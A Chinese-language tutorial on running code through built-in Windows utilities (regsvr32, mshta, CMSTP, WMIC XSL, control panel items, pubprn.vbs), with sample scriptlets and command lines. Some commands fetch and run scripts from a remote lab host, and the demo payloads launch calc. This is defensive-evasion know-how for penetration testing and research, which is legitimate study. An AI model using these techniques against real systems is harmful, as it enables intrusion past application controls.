Windows代码执行
字数 760 2025-08-11 08:35:53

Windows代码执行技术详解

前言

本文详细介绍了Windows系统中多种代码执行技术,包括注册组件、脚本执行、控制面板项利用等多种方法。这些技术可用于系统管理、渗透测试和安全研究等场景。

1. Regsvr32技术

基本介绍

Regsvr32是一个命令行实用工具,用于注册和取消注册OLE控件,如DLL和ActiveX控件。

  • 64位版本路径:%systemroot%\System32\regsvr32.exe
  • 32位版本路径:%systemroot%\SysWoW64\regsvr32.exe

执行示例

regsvr32.exe /u /n /s /i:a.png scrobj.dll

XML脚本示例

<?XML version="1.0"?>
<scriptlet>
<registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}">
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("cmd /k ipconfig"); 
]]>
</script>
</registration>
</scriptlet>

2. MSHTA技术

基本介绍

mshta.exe是微软Windows操作系统相关程序,支持执行.hta和.sct格式的文件。

HTA文件执行

<html>
<head>
<script language="VBScript">
Sub RunProgram
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
End Sub
RunProgram()
</script>
</head>
<body>Nothing to see here..</body>
</html>

执行命令:

mshta http://192.168.235.128/test.hta

SCT文件执行

<?XML version="1.0"?>
<scriptlet>
<registration description="Desc" progid="Progid" version="0" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>
<public><method name="Exec"></method></public>
<script language="JScript">
<![CDATA[
function Exec() {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
}
]]>
</script>
</scriptlet>

执行命令:

mshta.exe javascript:a=(GetObject("script:http://192.168.235.128/test.sct")).Exec();close();

3. 控制面板项技术

基本介绍

控制面板项是可执行文件(exe、cpl),其中cpl文件实际上是.dll文件重命名为.cpl扩展名。

示例代码

#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,
                      DWORD ul_reason_for_call,
                      LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        MessageBoxW(NULL, L"This is a test", L"Test", 0);
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

执行方式

  1. 直接双击运行(调用导出函数Control_RunDLL)
  2. 使用control.exe执行:
control.exe "D:\1\cpl.cpl"
  1. 使用rundll32执行:
rundll32.exe Shell32.dll,Control_RunDLL "D:\1\cpl.cpl"

4. CMSTP技术

INF文件示例

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection

[RegisterOCXSection]
C:\windows\system32\calc.exe

[Strings]
AppAct ="SOFTWARE\Microsoft\Connection Manager"
ServiceName="mantvydas"
ShortSvcName="mantvydas"

执行命令

cmstp.exe /s /ns D:\1\test.inf

调用DLL示例

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection

[RegisterOCXSection]
D:\1\cpl.dll

[Strings]
AppAct ="SOFTWARE\Microsoft\Connection Manager"
ServiceName="mantvydas"
ShortSvcName="mantvydas"

5. WMIC技术

基本命令

wmic process call create "calc.exe"

XSL文件示例

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" 
            xmlns:ms="urn:schemas-microsoft-com:xslt" 
            xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc");
]]>
</ms:script>
</stylesheet>

执行命令

wmic os get /FORMAT:"test.xsl"

6. PowerShdll.dll技术

执行方式

rundll32.exe PowerShdll.dll,main

7. Pubprn.vbs技术

SCT文件示例

<?XML version="1.0"?>
<scriptlet>
<registration description="Bandit" progid="Bandit" version="1.00" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

执行命令

cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.235.128/test.sct

总结

本文详细介绍了Windows系统中多种代码执行技术,包括Regsvr32、MSHTA、控制面板项、CMSTP、WMIC、PowerShdll.dll和Pubprn.vbs等方法。这些技术可以用于系统管理、渗透测试和安全研究等多种场景。使用时请遵守相关法律法规,仅用于合法授权的研究和测试目的。

Windows代码执行技术详解 前言 本文详细介绍了Windows系统中多种代码执行技术,包括注册组件、脚本执行、控制面板项利用等多种方法。这些技术可用于系统管理、渗透测试和安全研究等场景。 1. Regsvr32技术 基本介绍 Regsvr32是一个命令行实用工具,用于注册和取消注册OLE控件,如DLL和ActiveX控件。 64位版本路径: %systemroot%\System32\regsvr32.exe 32位版本路径: %systemroot%\SysWoW64\regsvr32.exe 执行示例 XML脚本示例 2. MSHTA技术 基本介绍 mshta.exe是微软Windows操作系统相关程序,支持执行.hta和.sct格式的文件。 HTA文件执行 执行命令: SCT文件执行 执行命令: 3. 控制面板项技术 基本介绍 控制面板项是可执行文件(exe、cpl),其中cpl文件实际上是.dll文件重命名为.cpl扩展名。 示例代码 执行方式 直接双击运行(调用导出函数Control_ RunDLL) 使用control.exe执行: 使用rundll32执行: 4. CMSTP技术 INF文件示例 执行命令 调用DLL示例 5. WMIC技术 基本命令 XSL文件示例 执行命令 6. PowerShdll.dll技术 执行方式 7. Pubprn.vbs技术 SCT文件示例 执行命令 总结 本文详细介绍了Windows系统中多种代码执行技术,包括Regsvr32、MSHTA、控制面板项、CMSTP、WMIC、PowerShdll.dll和Pubprn.vbs等方法。这些技术可以用于系统管理、渗透测试和安全研究等多种场景。使用时请遵守相关法律法规,仅用于合法授权的研究和测试目的。